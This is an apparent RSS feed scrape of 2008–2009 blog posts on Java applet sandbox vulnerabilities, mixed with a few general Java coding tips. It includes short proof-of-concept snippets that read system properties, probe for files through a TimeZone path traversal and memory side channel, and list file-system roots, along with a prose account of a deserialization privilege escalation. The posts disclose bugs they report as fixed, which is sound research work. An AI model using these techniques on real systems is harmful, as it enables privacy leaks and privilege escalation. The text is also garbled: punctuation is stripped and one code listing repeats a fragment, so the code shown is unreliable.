comsunxmlinternalmessagingsaajutilByteOutputStream  001   002   Evil buffer reallocation method 003   Don't use it unless you absolutely have to 004   005    deprecated 006   because this is evil  007   008 public byte toByteArray    009 byte  newbuf   new byte count  010 Systemarraycopy buf, 0, newbuf, 0, count  011 return newbuf  012   comsunorgapachexpathinternalcompilerCompiler  001 int what   getWhatToShow startOpPos  002   bit-o-hackery, but this code is due for the morgue anyway 003 if 0x00000500   what  004 addMagicSelf   false  sunjvmhotspotruntimesparcSPARCFrame  001   Also not sure exactly how alignment worksmaybe should read these offsets from the target VM 002    When you have a hammer, everything looks like a nail  003 long offset   VMgetVM alignUp 4, VMgetVM getAddressSize    uc_flags sunsecuritytoolsKeyTool  001   do not drown user with the help lines 002 if  debug    003 throw new RuntimeException NO BIG ERROR, SORRY  004   else   005 Systemexit 1  006    IMAGE  </description><link>http://www.secuobs.com/revue/news/136148.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/136148.shtml</guid></item>
<item><title>JDK13Services - Thanks </title><description>Secuobs.com : 2009-08-06 00:35:30 -  Slightly  Random Broken Thoughts - Sami Koivu acknowledges with thanks Sun Microsystems' thankful acknowledgement On a more serious note  Good job, Sun I liked the fix, it's straightforward, simple and looks foolproof IMAGE  </description><link>http://www.secuobs.com/revue/news/128333.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/128333.shtml</guid></item>
<item><title>javanetProxy and  Im mutability</title><description>Secuobs.com : 2009-08-06 00:35:30 -  Slightly  Random Broken Thoughts - Java 6 update 15 fixed some stuff regarding to javanetProxy Quoting  A security vulnerability in the Java Runtime Environment proxy mechanism implementation may allow an untrusted applet or Java Web Start application to make non-authorized socket or URL connections to hosts other than the origin host I'm assuming Sun is referring to something I'd come across a couple months ago myself I was looking into some things at javanet and came across the Proxy class The Proxy class javadoc says A Proxy is an immutable object Yet the class is public and non-final It's methods are non-final, too If you don't see the problem, go a few posts back to the bit that talks about immutability Didn't look at the fix yet, but Proxy was very much mutable and so it was possible to create a Proxy object which uses TOCTOU to connect to a host other than the originating host The proxy has a method which returns the address and a mutable Proxy can be made to return the originating host to the security check and some other address for the actual connection I'd done an ultraquick PoC, but hadn't gotten around to warning Sun  not that they needed my help from the look of it , because I was working on some more interesting things IMAGE  </description><link>http://www.secuobs.com/revue/news/128332.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/128332.shtml</guid></item>
<item><title>No Anniversary for JDK13Services</title><description>Secuobs.com : 2009-08-05 14:25:57 -  Slightly  Random Broken Thoughts - Java 6 update 15 fixes the simplest Java security bug I've found so far And just before its anniversary  August 18th , so no cake It's also the least serious of the bugs so I'm not terribly upset that it took close to a year to fix comsunmediasoundJDK13Services has a public, static method called getDefaultProviderClass which takes a Class object as a parameter and it returns the system property which corresponds with the full class name The problem is  was  that you can create your own classes whose names coincide with security sensitive property names, such as userhome, username, etc The implication is one of privacy An example of reading the userhome property and outputting it to Systemout in an applet 001 package user  002 003 public class PropertyThief extends javaappletApplet   004 005 public void start    006 String usrHome   comsunmediasoundJDK13ServicesgetDefaultProviderClassName userhomeclass  007 Systemoutprintln usrHome  008   009   010 011 class home   This'll only work in a pre-update-15 Java From the quick look into the new rtjar bytecode, it looks like they're doing a bunch of if's now to limit the properties you can request IMAGE  </description><link>http://www.secuobs.com/revue/news/128148.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/128148.shtml</guid></item>
<item><title>Java SE Security - Part II  Immutability </title><description>Secuobs.com : 2009-07-31 10:23:53 -  Slightly  Random Broken Thoughts - Since I named the first bit as  Part I  in February, I'm long overdue for the second part The problem is that my hands are tied by the fact that Sun still hasn't fixed a lot of the things I wanted to write about, so I'm short on material Immutability  wikipedia  Aside from being a software design pattern, immutability plays a big role in security, as well At least in an environment such as the Java security sandbox The Sun Secure Coding Guidelines section about input and ouput talks about making immutable copies of inputs and outputs Even if you've never put serious thought into this, the importance of immutability quickly becomes obvious Steve  Let's say my method takes a  javautil  List of Strings as a parameter, performs some security validation on the list and then performs some privileged action on the list 001 public class PrivilegedClass   002 003 public void processStrings javautilList strings    004 for  String str   strings    005 if  isOk str    006 throw new SecurityException  007   008   009 010 for  String str   strings    011 doPrivilegedOperation str  012   013   014 015 private void doPrivilegedOperation String str    016   privileged stuff 017   code omitted 018   019 020 private boolean isOk String str    021   security check for string 022   code omitted 023 return false  024   025 026   Bob  The problem is that javautilList is in interface and can be implemented in a mutable way Also virtually all the public List implementations included in Java are mutable, so one wouldn't even have to go through the trouble of creating a mutable version - one could just use javautilArrayList The problem with the mutability is that an ill intentioned caller of the method could pass a list which contains different values while the method does its validation, and then another set of harmful values for the actual processing after the validation has passed This could be done via timing, or by crafting one's own List implementation for a more exact attack If the method uses iterator  to iterate through the list, the first call to iterator   used by validation  could be made to return one set of Strings and the 2nd call to iterator   used by the post-validation processing  could be made to return another set of Strings It's a well known, generic problem Let's look at some ways to protect your method and what could go wrong with them Forgive the silliness of some of these examples, it's just to give the notion of how easy it is to get it wrong Steve  I could change the method signature to only accept a more specialized StevesImmutableList 003 public void processStrings StevesImmutableList strings    Steve  I'd then define StevesImmutableList as a class whose constructor receives a String array and stores it in a private String array field and only has a getter method which returns the array 001 package version1  002 003 public class StevesImmutableList   004 005 private String  strings  006 007 public StevesImmutableList String  strings    008 thisstrings   strings  009   010 011 public String  getStrings    012 return thisstrings  013   014 015   Bob  Arrays are always mutable The size can't be changed, but the contents  given its size is greater than zero  are free game And your method is returning a reference to its internal array Steve  What if I define my private internal array as final  Bob  That doesn't help It'll guarantee that your private field always points to the same array, but the array contents are free game Steve  Better have the method call clone  on the array and return a copy of the array instead of the internal array 001 package version2  002 003 public class StevesImmutableList   004 005 private String  strings  006 007 public StevesImmutableList String  strings    008 thisstrings   strings  009   010 011 public String  getStrings    012 return thisstringsclone  013   014 015   Bob  Your constructor is receiving an array and storing it as the internal array A caller with bad intentions could create an array, keep a reference to it, pass it to your object and later on modify it Steve  Ok, let's call clone  on the incoming array as well 001 package version3  002 003 public class StevesImmutableList   004 005 private String  strings  006 007 public StevesImmutableList String  strings    008 thisstrings   stringsclone  009   010 011 public String  getStrings    012 return thisstringsclone  013   014 015   Steve  Let's also add an overloaded constructor that receives a List to improve the usability of this class 001 package version4  002 003 public class StevesImmutableList   004 005 private String  strings  006 007 public StevesImmutableList javautilList stringList    008 thisstrings   stringListtoArray new String stringListsize  009   010 011 public StevesImmutableList String  strings    012 thisstrings   stringsclone  013   014 015 public String  getStrings    016 return thisstringsclone  017   018 019   Bob  Now you're calling toArray  on a List object that you can't really trust It could return an array and keep a reference to that array for itself for future modification Steve  Ok, let's do a manual conversion of the List to an array 001 package version5  002 003 public class StevesImmutableList   004 005 private String  strings  006 007 public StevesImmutableList javautilList stringList    008 thisstrings   new String stringListsize  009 for  int i   0  i  stringList    008 thisstrings   new String stringListsize  009 for  int i   0  i  stringList    008 thisstrings   new String stringListsize  009 for  int i   0  i  stringListsize  i    010 thisstrings i    stringListget i  011   012   013 014 public StevesImmutableList String  strings    015 thisstrings   stringsclone  016   017 018 public String  getStrings    019 return thisstringsclone  020   021 022 private void readObject javaioObjectInputStream s  023 throws javaioIOException, ClassNotFoundException   024 String  streamStrings    String  sreadObject  025 thisstrings   streamStringsclone  026   027 028 private void writeObject javaioObjectOutputStream s  029 throws javaioIOException   030 swriteObject thisstrings  031   032   Now some examples from core Java classes javalangreflectionProxy Proxy has a method  getProxyClass  which takes a ClassLoader and an array of Class objects, that are supposed to be interfaces, as parameters It performs some validation on the Class array, and then it dynamically defines and returns a new Class for a dynamic Proxy class which implements all the interfaces of the Class array If the validation fails, the method throws an Exception  and obviously doesn't return anything  The getProxyClass uses the user-suplied Class array for the validation and later on for the construction of the Proxy class, so it could be called with an array which has one set of classes for the validation and another set of classes for the Proxy construction However, the validation here, as far as I can tell, is strictly for usability Without the validation, if you gave the method an invalid set of parameters it would sometimes fail with some strange class verification exception With the validation, the caller gets feedback which is more readily understandable javalangString Strings are supposed to be immutable A lot of things depend on the immutability of Strings There is no defensive programming in the core classes against mutable Strings  which makes sense, because it'd take a lot of work  The immutability of Strings hinges on the fact that one cannot access the char array in which the String contents are stored Now, String does leak the internal array to any registered CharSet who wants it However, registering a CharSet requires a CharSetProvider and that, in turn, requires the charsetProvider permission Unsigned applets don't have that permission and can't create their own registered CharSets But it is something to keep in mind If you're granting the charsetProvider permission, you're pretty much implicitly giving away full access IMAGE  </description><link>http://www.secuobs.com/revue/news/126853.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/126853.shtml</guid></item>
<item><title>Pwnie Nomination  Pwnie for Best Client-Side Bug </title><description>Secuobs.com : 2009-07-29 16:44:08 -  Slightly  Random Broken Thoughts -    The CVE-2008-5353  Java Calendar Object Deserialization Sandbox Privilege Escalation  got nominated for a Pwnie award in the 2009 category for the Best Client-Side Bug with the credits going to Julien Tinnes and yours truly http pwnie-awardsorg 2009 nomineeshtml bestclientbug  IMAGE  </description><link>http://www.secuobs.com/revue/news/126183.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/126183.shtml</guid></item>
<item><title>Java security bugs revisited</title><description>Secuobs.com : 2009-07-28 00:18:57 -  Slightly  Random Broken Thoughts - A couple of weeks back, I heard that Sun's probably releasing new updates at the end of July, so it might be a good time to update my bug fix table Let's see if they've gotten around to look at some of these issues, as well I'm obviously very biased here and think all vulnerabilities I've found are important and should be very promptly fixed, but the anniversaries of some these bugs are already around the corner   and counting  calculated as of July 27th, 2009    a more generic deserialization issue fixed on March 24th, 2009 Reported Status Fixed Days Open FileSystemView allows read access to file system structure May 11th, 2008 Fixed Dec 2nd, 2008 204 Read access to System Properties Aug 18th, 2008 Not Fixed N A 342  CalendarreadObject allows elevation of privileges Aug 1st, 2008 Fixed Dec 2nd, 2008  122 Undisclosed vectors allow elevation of privileges Oct 19th, 2008 Not Fixed N A 280  Undisclosed vectors allow directory listing and file renaming moving Oct 26th, 2008 Not Fixed N A 273  Generic security architecture problem Nov 2nd, 2008 Not Fixed N A 266  Undisclosed vectors allow folder creation Oct 20th 2008 Not Fixed N A 279   IMAGE  </description><link>http://www.secuobs.com/revue/news/125519.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/125519.shtml</guid></item>
<item><title>Obfuscating by overloading method and field names</title><description>Secuobs.com : 2009-05-31 20:03:52 -  Slightly  Random Broken Thoughts - Some time ago, while testing reJ I came across an interesting form ofobfuscation that I hadn't realized was possibleThis obfuscated classfile had several fields with the exact same name,but a different type And also, several methods with identical namesand parameters, but different return typesFor example:public class Example {private int a;private String a;private double a;public void method {}public String method {return null;}}Obviously, this is an illegal situation in a java source file But inthe compiled code this is not a problem, as in the java bytecode allthe instructions that refer to fields or methods always define theentire signature of the field or method in question That is,including the return typeApparently ProGuard's agressive overloading produces this kind of anobfuscationhttp://proguardsourceforgenet/manual/usagehtml#overloadaggressively:Specifies to apply aggressive overloading while obfuscatingMultiple fields and methods can then get the same names, as longas their arguments and return types are different not just theirarguments This option can make the output jar even smaller andless comprehensible Only applicable when obfuscatingIMAGE</description><link>http://www.secuobs.com/revue/news/104198.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104198.shtml</guid></item>
<item><title>Four basic ways to avoiding annoying bugs</title><description>Secuobs.com : 2009-05-31 20:03:52 -  Slightly  Random Broken Thoughts - Let's start with a disclaimer: This is not, and doesn't even try to be acomprehensive list of any sort Nor am I claiming that these are themost important things These are simply the four first things thatcame to my mind within the time I was willing to spend on this postThey are all rather obvious and some may be debatable1 Don't use empty catch blocks EverWhen you first write a catch block don't navigate away from it withoutat least putting in a call to the printStackTrace methodtry {} catch Exception e {eprintStackTrace;}The reason why this is important has to do with the predictability ofa piece of code When people first start off with a new language orprogramming in general it often leads to silly things like:int value = 3;if value = 3 {Systemoutprintln"Problem with the assignment";}The code doesn't work the way you think it should work and you startdoubting the most basic things like a simple variable assignment"Well, maybe there's some catch to it", you think As you grow morecomfortable with the language, you get past doubts like this which inturn speeds up your debugging process a lotThe problem with exceptions is that if you get no feedback whatsoeverfrom the program, the effect of the exception appears to be just that;An assignment that fails Granted "int value = 3;" cannot throw anexception, but if the right-hand side of the assignment is a simplemethod, it mightI actually like to keep a printStackTrace in place until I've finisheda piece of code and tested that it works even if it's a block catchingsomething very specific and controlled such as InterruptedException orNumberFormatExceptionWhat if the exception block is something that should never happen Orbetter yet, if you're absolutely certain that will never get executed,surely then it's ok to leave an empty catch block, right Wrong If itnever gets executed, fine, the printStackTrace never does anything soit doesn't hurt And in the eventuality that you break the code andthe thing that was "never going to happen" does happen, you won't betotally lostFor those fairly exceptional situations where you really need tosilently discard the exception, I suggest you originally write thecatch block with at least the stack trace printing and only removethat once the code block in question is finished and tested And whenyou remove it, you put a comment explaining the silent discard2 Minimize scopeIf you only need a variable within a loop, define it in the loop, andnot at the start of the method even though it might seem like a goodidea in terms of organizationIf you know your variable's scope is limited to that loop, you knowthat any code outside that loop can't access/modify your variable Itmakes reading the code easier It makes debugging easier It makesmodifying the code easier It helps avoid and makes easier to spotsome nasty bugs3 Use descriptive namesThe bigger the scope of your types/variables, the more important agood name is If the scope of a variable is 2 lines, the importance ofthe name is not so greatIf the scope is global - such as the name of a class - a good name isvitalWhen your names are descriptive, pieces of code that do illogicalthings - you know, stuff that you wrote in the morning before actuallywaking up, stuff that you wrote when your mind was already out tolunch, etc - stand out more clearlyConsider, for example:bankAccountBalance = -7;4 Don't reuse variablesRecycling is good, but it's also inherently complex So unless youhave a really valid performance reason to do this, you shouldn't Thisis somewhat related to items 2 and 3 Allow me to explain:-If you're reusing a variable instead of having 2 variables with asmall scope you'll have one variable with at least doubled scope-If your one variable holds the bank account balance, mail server portand the width/height ratio of your dialog window it's fairly hard tocome up with a good, descriptive name for it In case you werecurious: no, in my opinion "balancePortRatio" is not a good nameIMAGE</description><link>http://www.secuobs.com/revue/news/104197.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104197.shtml</guid></item>
<item><title>Java 6 == NoClassDefFoundError</title><description>Secuobs.com : 2009-05-31 20:03:52 -  Slightly  Random Broken Thoughts - I thought I might as well share thisProblemI'm working on an open source project and recently I tried to run theexecutable jar file on my windows It wouldn't run, which wassurprising since I had done some basic testing on it and I hadcertainly been able to run it beforeThat version still had no logging support, so I went to the console totry and run it, and sure enough it died with a:javalangNoClassDefFoundError: comsunjdiStackFrameBackgroundThat comsunjdi package quickly gave a pretty good idea about whatwas going on Time for some background informationFirst of all, the project had no external dependencies I wasn't usinganything that required extra jars to be packaged with the binary Thiswasn't really as much a conscious decision as it was just somethingthat happenedWhen I added support for debugging another VM to my project, I usedthe comsunjdi* classes from toolsjar that comes in a standard JDKI had the bright idea to still not introduce a forced dependency,making this functionality optional: If the classes were found in theclasspath the functionality would be there, if not, the rest of theapplication would still be usableI did this in a somewhat lazy and half-hearted, experimental manner,just testing around until it worked the way I wantedReason for problemsSo when I got that NoClassDefFoundError I knew my fragile constructionhad broken down I initially assumed it had something to do with thechanges to the Java 6 class verification, but instead it turned outthat it was about changes to Swing classes: I had a JPanel subclasswhich had a method which had that JDI class in it's signature, and inJava 6 a call to the JPanel's constructor does something like:thisgetClassgetDeclaredMethods;And that bit of reflection causes the classloader to try and verifyall the classes referenced in the signatures of the methods with anyversion of JavaFixHaving learned my lesson, I wrapped all the references to the JDIclasses in any method signatures in my own local interfaces and nowthe project once again works fine with Java 6 as wellIs this your problemI don't think that a lot of sensible people would try something likemy original unplanned bubblegum attempt, but I do see some otherpossible scenarios where the same problem might arise They allinvolve an existing system with some problems which are triggered by achange to Java 6For example, you might have a reusable component A which is compiledseparately and has some dependencies to an external library B Thecomponent A is used by two systems C and D System C usesfunctionality which requires the library B and System D usesfunctionality that doesn't require the library B For some reasonlibrary B hasn't been added to the classpath of the System D and it'snever caused a problem before, but there's a reference to one of theclasses in library B in some signatures of a user interface class andthus moving to Java 6 triggers that problem Easy enough to fix addingthe library B to the classpath, but a very annoying problem in thecase of a maintenance system whose inner workings nobody is veryfamiliar withIMAGE</description><link>http://www.secuobs.com/revue/news/104196.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104196.shtml</guid></item>
<item><title>Minimizing Java bytecode size</title><description>Secuobs.com : 2009-05-31 20:03:52 -  Slightly  Random Broken Thoughts - I played around with the topic mentioned in the title of this entry whenI was considering entering the Java 4K Programming Contest I ended upnot participating in the contest because I couldn't dream up any coolideas for a game, but I did come up with a list of things which helpwith the code size I would like to point out that the 4K limit is forthe executable class file and not the source file and thus theseactions have the intention of reducing the size of the compiled classfileSome of these are obvious Others might be less obvious to the massesAction: Don't bother with genericsJustification: Generics stuff is not used by the JVM and it only takesup spaceAction: Compile without debug information or strip it afterwardsJustification: This includes source code linenumber information,source code file name and localvariable names The attributes in theclass file to be removed are Source, LocalVariableTable andLineNumberTable These are not required as they only exist fordebugging purposesAction: Rename all class, method and field names to be one characterJustification: One character takes up less space than two or three orfourAction: Do not define a packageJustification: The package definition provides no functionality inthis context and takes up spaceAction: Minimize the number of methodsJustification: Method headers take up a lot of space2 accessflags +2 name index +2 descriptor index +20 empty Code attributeThat's 26 bytes and still assuming you manage to reuse the name stringin the constant pool and reuse the method descriptor which definesthe return type and parameters and not throw any exceptionsAction: Minimize the number of fieldsField headers take up a lot of space2 accessflags +2 name index +2 descriptor index +2 0 attributesThat's 8 bytes and still assuming you manage to reuse the name stringin the constant pool and manage to reuse the descriptorAction: Strip any method throws informationJustification: The VM doesn't use this information You can't tell thecompiler not to create it, but it can be stripped afterwardsAction: Rearrange local variables, putting the four that are the mostused first Heavily reuse these variablesJustification: Instructions that refer to the local variables 0-3 takeup one byte and instructions that refer to the rest of the localvariables take up two bytesAction: Set the scope of the local variables so that only 4 variablesare in scope at any given timeJustification: Two variables, even if they're of different types, canbe stored in the same local variable "slot" if their scopes don'toverlap And why using the first four local variables is good isexplained in the previous itemAction: Reuse string constants As well as any string literals in thecode, this includes class, field and method-names If you have oneclass which has one field and the main method to have a Javaapplication entry point name the class and the field "main" as wellJustification: The compiler will only need to put one string entryinto the class file constant poolIMAGE</description><link>http://www.secuobs.com/revue/news/104195.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104195.shtml</guid></item>
<item><title>Security is hard</title><description>Secuobs.com : 2009-05-31 20:03:52 -  Slightly  Random Broken Thoughts - Security is hardWhen you're trying to build something secure, you have to considereverythingWhen you're breaking the security, you just have to think of one thingthat the other guy didn't think of Not to mention the person creatingsecurity is normally vastly outnumberedI like security I like locks designing locks and dreaming up ways todefeat them I like security protocols analyzing them anyway,following them can be a pain I like security related algorithmsencryption, one-way hashing, etc I like security in softwaredevelopmentThese days I've been revisiting the security of Java's sandbox whilerunning in applets It's wildly intriguing, because of the complexityinvolved Even a simple login screen can be complicated to get justright, in terms of security And the applet sandbox is a wholedifferent beast The applets need to be able to do almost anythingand then there are a few, handful of things that the applet absolutelymust not be able to do Add to the mix Java's system of accessmodifiers, inheritance, threads, serialization, bytecode, etc It's acomplicated thing I can't believe they've got it 100% right Can'tbelieve it It doesn't seem probable So often, when I have spare timeI go about looking at the Java core code, doing tests, trying to becreativeIMAGE</description><link>http://www.secuobs.com/revue/news/104194.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104194.shtml</guid></item>
<item><title>Calendar bug</title><description>Secuobs.com : 2009-05-31 20:03:52 -  Slightly  Random Broken Thoughts - Java 6 Update 11 fixes "calendar security bug" among othersAltough some minor adjustments were made to the Calendar class, theactual fix deals with how deserialization calls non-serializablesuperclass constructor But I like to call it the Calendar bug,anyway, because in my original evaluation of the problem I put theblame on the javautilCalendar classThe problem, which is present in Java 6 Update 10 and earlier and inthe corresponding Java 5 and Java 142 releases, goes something likethis:javautilCalendar is a serializable class Presumably due to reversecompatibility, its serialization logic is non-trivial One of thenon-trivial things that it does, is that the readObject method whichis used for customizing object deserialization callsObjectInputStreamreadObject inside a doPrivileged block todeserialize a ZoneInfo object which might or might not be presentSomething like this:// If there's a ZoneInfo object, use it for zonetry {ZoneInfo zi = ZoneInfo AccessControllerdoPrivilegednew PrivilegedExceptionAction {public Object run throws Exception {return inputreadObject;}};if zi = null {zone = zi;}} catch Exception e {}doPrivileged blocks are used when the caller of trusted code doesn'tnecessarily have the privileges to execute some operation In thisspecific case, the ZoneInfo object being deserialized resides in thesunutilcalendar package and applet code normally doesn't have accessto this package or any package which starts with "sun"Without the doPrivileged block, if an unsigned applet were to try todeserialize a Calendar object, it would raise a SecurityExceptionWith doPrivileged, the code executes fine even when the callerunsigned applet code doesn't have the privileges There is an oldbug related to deserializing calendar objects and the doPrivilegedblock was presumably the fixThe problem is that there is absolutely no guarantee that the streambeing read contains a ZoneInfo object It might contain, for example,a serializable ClassLoader subclass One would have to manouver a bitto create such a stream, but with basic knowledge of the Javaserialization protocol, this is a relatively trivial taskSo what happens if there should to be a Serializable ClassLoadersubclass in the stream in the place of the ZoneInfo object What's thebig dealThe inputreadObject method would execute just fine, because it hasno knowledge of what type of an object it is supposed to deserializeIt reads the stream, gets the details of the next object in thestream, instantiates the object without calling the constructor andreturns the objectAt this point the Calendar code tries to do a cast of the object tothe ZoneInfo type and this will cause a ClassCastException, as thetypes aren't compatible But the object was deserialized just fineThe implication of this is that applet code can deserialize objects ina privileged context, just by constructing an input streamByteArrayInputStream, for example which contains a specialserialized Calendar object which contains some other object instead ofa ZoneInfoYou might think that the reference to the newly created object isforever lost, only to be collected by the garbage collector later onHowever, it is possible to implement a readObject method in theserializable class which stores the reference to the created object insome static contextSo whatHere's where the ClassLoader comes into play javalangClassLoader isnot Serializable and thus can't be serialized But it is a non-finalclass, so it can be extendedSubclasses of non-serializable classes can be serializable just byimplementing the javaioSerializable interface When the object isdeserialized, the JVM first calls the constructor of thenon-serializable class, and then it deserializes the fields of theserializable subclass The fancy part is that there will be nosubclass code on the stack when the constructor of thenon-serializable class is called or rather, this was true untilupdate 11 Thus, if the deserialization happens in a privilegedcontext, the constructor also gets called in a privileged contextWhy is this relevantBecause calling a ClassLoader constructor requires special privilegesPrivileges that an unsigned applet normally doesn't have So this wayan applet could past tense, because of the fix in update 11 obtainit's very own ClassLoader If you have access to your own ClassLoadersubclass, you can load new classes with any privileges You can load aclass which has the privileges to do anything that the user runningthe browser running the applet can do, including, but not limited to,removing files, opening connections and executing external programsSo how did Sun fix the bugWell, first of all, they left the doPrivileged block in the Calendarclass I'm not a 100% percent sure that was a correct decision, butmore about that later onWhat they did fix, and on this I fully agree is that now when aserializable subclass of a non-serializable class is deserialized, agenerated sunreflectGeneratedSerializationConstructorAccessorxxxinstance is put on the call stack before calling the superclassconstructor, thus making it lose the privileged context in the casewhere the subclass itself isn't privilegedI had to correct myself on this oneIMAGE</description><link>http://www.secuobs.com/revue/news/104193.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104193.shtml</guid></item>
<item><title>Side-channel attack</title><description>Secuobs.com : 2009-05-31 20:03:52 -  Slightly  Random Broken Thoughts - I learned a new term the other day: Side-channel attackWhile the term was new to me, the concept I was familiar with It mademe remember one of the smaller problems on Java applet security I hadstudiedUntrusted applets have limited rights There are lots of things theycan't do However, there is a ton of information about the executionenvironment that the applet does have access to, such as: Memoryutilization, timing information, etcConsider, for example the method freeMemory of the Runtime class Themethod can be called from an applet Basically this method tells youhow much free memory there is in the JVM Garbage-collector andthreads complicate, but basically you can use it find out how muchmemory a piece of code used You'd do this by calling freeMemorybefore a block of code, and then immediately after the block of code,hoping the garbage collector didn't run and no other thread createdobjects, etcConsider now, a piece of privileged system code that you can execute,but it's been carefully crafted not to leak any privileged informationto youBut, in some cases, even the path that the code traverses isprivileged information You have no easy way to find out the path in asandbox environment, but memory and timing information could be enoughfor a really good approximationLet's see a practical example:import    java      applet      Applet   ;import    java      util      TimeZone   ;public       class    TZlet    extends    Applet    {public       void    start             {for          int    i   =   0   ;    i           1000   ;    i   +   +          {long    frees    =    Runtime      getRuntime            freeMemory         ;TimeZone tz    =    TimeZone      getTimeZone      "//////WINDOWS/notepadexe"      ;long    freee    =    Runtime      getRuntime            freeMemory         ;System      out      println      frees   -   freee      ;}}}The getTimeZone method of the TimeZone class takes a String ID of atimezone But, if there is no TimeZone object cached with the givenID, it reads and tries to parse a file named ID in javahome/lib/ziSo if we pass the ID "foo", it'll try to open javahome/lib/zi/foo,read the whole file into memory and then try to parse itFrom the example above, you might have guessed that it justconcatenates the ID to a String which represents the path to the zifolder and does no sanity check for the ID So we can pass //until we get to the root of the drive and then put any path we pleaseIn the case of the example: notepadexeThe parsing will most probably fail if you're not pointing to azoneinfo file, so nothing useful will ever ever be returned from themethod But judging from how much memory was allocated, you can get agood approximation of the file size and test for file existenceIMAGE</description><link>http://www.secuobs.com/revue/news/104192.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104192.shtml</guid></item>
<item><title>FileSystemView allows read access to the filesystem structure from an unsigned applet</title><description>Secuobs.com : 2009-05-31 20:03:52 -  Slightly  Random Broken Thoughts - 12/05/2008: Post deferred to give Sun time to fix the bugThe bug was fixed in Java 6 update 11, released in the beginning ofDecember 2008 Sun credited Henri Torgemane and yours truly, but Idon't know Mr Torgemane I imagine we both reported the problem ondifferent occasions around the same timeAnyway, here's the original post:---------------------------------------------------------------------I was looking at the Java applet security and file system access andseems like there's a problem in Java 6 update 6The class javaxswingfilechooserFileSystemView allows listing offolder contents to be very clear, by folder contents I mean the namesof the files contained in that folder, starting from any ShellFolderFile subclass instanceShellFolder instances are tricky to obtain, as access to the packageis not allowed from an applet Still, FileSystemView has two methodsthat return ShellFolder objects The getRoots and thegetDefaultDirectory And the getFiles method returns an array ofShellFolder objects which can be used to recurse the whole filesystemI was able to create an applet exploiting this on a Windows XPmachine The actual bug apparently was in the Win32ShellFolder2 class,which is the windows implementation for the low-level directorylisting operations The class overwrites a listFiles method and failsto ask the Security Manger if it's ok to list the filesI originally started from an idea of an attack that involvedconstructing a FileDialog/JFileChooser and then having that dialogdraw itself on an off-screen image The plan was to then interpretthis image an extract sensitive information from itRan into some trouble with that approach FileDialog, being an AWTcomponent, refused to draw anything but a blank image on my imageobject and JFileChooser wouldn't instantiate, because theinitialization tries to access the system property userdir and thesecurity manager won't accept thatI proceeded to craft a subclass of JFileChooser, in which I overwrotethe method that threw a security exception, calling the method of thesuperclass, but catching the exception, so that the init method wouldnot fail and an instance would be created This worked to some extent:the instance was created, a dialog window appeared, but it was emptyNothingWhen thinking of ways to interact with the dialogs, I later thought ofassociating a FileFilter object with the dialog I first tested withFileDialog, but even as I was writing the code, I read on the Javadocthat the Sun implementation doesn't take the FileFilter intoconsideration I moved on to test with my crippled JFileChooser andbingo it worked For every file/folder in my "My Documents" folder,JFileChooser called the boolean acceptFile method of my FileFilterthus enabling me to capture the contents of that folderWith that success, I then proceeded to try and change the folder ofthe JFileChooser to get access to other folders No go Whateverfolder I set with JFileChoosersetCurrentDirectory, caused a securityexceptionNot giving up so easily, I overwrote the getCurrentDirectory method toreturn a folder To my surprise, that resulted in a security exceptionas well That had me baffled Why was the File object returned by theoriginal JFileChooser working, and the one I created wasn't I eventried to create a File with the same folder as the one that theJFileChooser returned by default A security exception I tried tocall getParentFile on the File object returned by the superclass Asecurity exception What was going on Then I discovered that the Fileinstance that the getCurrentDirectory default implementation returnedwas actually a ShellFolder instance ShellFolder is a subclass ofFile I also discovered that the ShellFolder instance came from aclass called FileSystemView that the JFileChooser uses for diskaccess I found out that the FileSystemView has a getFilesFile,boolean method which lists the contents of a folder But calling itwith a File object results in a security exception Instantiating aShellFolder object doesn't work, because accessing the sunawtshellpackage from an applet results in a security exception But theFileSystemView methods getDefaultFolder and getRoots and getFilesreturn ShellFolder objects In the end the solution was a lot simplerthan what I was originally going for:FileSystemView fsv    =    FileSystemView      getFileSystemView         ;File          roots    =    fsv      getRoots         ;for          File root    :    roots          {System      out      println      root      getPath            ;}IMAGE</description><link>http://www.secuobs.com/revue/news/104191.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104191.shtml</guid></item>
<item><title>Correction on how Sun fixed the Calendar bug</title><description>Secuobs.com : 2009-05-31 20:03:52 -  Slightly  Random Broken Thoughts - Many thanks to Julien Tinnes for pointing this out to meIn a previous post, I had said:What they did fix, and on this I fully agree is that now when aserializable subclass of a non-serializable class is deserialized,a generatedsunreflectGeneratedSerializationConstructorAccessorxxx instanceis put on the call stack before calling the superclassconstructor, thus making it lose the privileged context in thecase where the subclass itself isn't privilegedWhich is obviously silly and not true at all When I was looking athow Sun had fixed the problem I had obtained an incorrect source forthe new Calendar class and that threw me off the track TheGeneratedSerializationConstructorAccessorxxx was always on the stack,it's the means of invoking the superclass constructor What changed isthat the calling context is not so privileged anymore in the case ofthe CalendarreadObject A special AccessControlContext is createdwith just enough special rights to access the packagesunutilcalendar, which normally isn't accessible to applet code Butif your serialized class tries to do something more likeinstantiating a ClassLoader a security exception is thrownIMAGE</description><link>http://www.secuobs.com/revue/news/104190.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104190.shtml</guid></item>
